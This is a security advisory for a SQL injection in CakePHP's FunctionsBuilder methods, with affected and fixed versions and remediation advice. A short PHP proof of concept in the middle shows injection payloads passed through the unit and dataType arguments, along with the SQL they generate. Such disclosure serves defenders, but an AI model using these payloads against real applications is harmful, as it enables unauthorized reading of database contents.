criticalCVE-2026-79752Sep 17, 2026

CVE-2026-79752: CakePHP FunctionsBuilder SQL Injection

Rohit Hatagale
AI Security Researcher, SecureLayer7

Several CakePHP query-builder helper methods write user-supplied strings directly into SQL as unquoted structural keywords, letting an attacker inject arbitrary SQL through the dataType, part, or…

Packagecakephp/database
Ecosystemcomposer
Affected< 4.5.12
Fixed in4.5.12

The problem

The FunctionsBuilder class in src/Database/FunctionsBuilder.php exposes four methods: cast($field, $dataType), extract($part, $expr), datePart($part, $expr), and dateAdd($expr, $value, $unit). Each accepts a plain PHP string that is interpolated verbatim into the generated SQL fragment as a keyword or type token.

Because these positions are not bound parameters, the ORM's prepared-statement layer never sees them. Any application that forwards request input to one of these arguments is fully exploitable with no authentication required.

Proof of concept

A working proof-of-concept for CVE-2026-79752 in cakephp/database, with the exact payload below.

php
<?php
// Attacker controls $unit via a request parameter, e.g. ?unit=DAY)+FROM+users--
// App code (vulnerable):
$unit = $request->getQuery('unit');          // e.g. "DAY) FROM users--"
$query->select([
    'result' => $functionsBuilder->dateAdd(
        'Articles.created',
        1,
        $unit   // injected directly into SQL
    )
]);
// Generated SQL (MySQL example):
// SELECT DATE_ADD(Articles.created, INTERVAL 1 DAY) FROM users-- ) ...

// Similarly via cast():
$dataType = "INT) FROM users WHERE 1=1--";
$query->select([
    'val' => $functionsBuilder->cast('Articles.id', $dataType)
]);
// Generated SQL:
// SELECT CAST(Articles.id AS INT) FROM users WHERE 1=1-- ) ...

The root cause (CWE-89) is that $dataType, $part, and $unit were string-concatenated directly into the SQL keyword/type position of the function call template, with no allowlist, regex guard, or escaping applied.

Because these are structural SQL positions (not value positions), prepared-statement parameter binding provides zero protection. The patch commits (3349584c, 3f4d13ea, and branch equivalents) introduced allowlist validation: each parameter is now checked against a fixed set of accepted keywords (e.g. YEAR, MONTH, DAY, HOUR, MINUTE, SECOND for date parts; standard SQL type names for cast).

Input that does not match throws an exception before any SQL is built.

The fix

Upgrade to CakePHP 4.5.12 (4.x), 4.6.5 (4.6.x), 5.1.9, 5.2.14, or 5.3.7. If you cannot upgrade immediately, never pass user-controlled data to the $dataType, $part, or $unit parameters of FunctionsBuilder::cast, ::extract, ::datePart, or ::dateAdd.

Validate against a hard-coded allowlist in your own code first.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research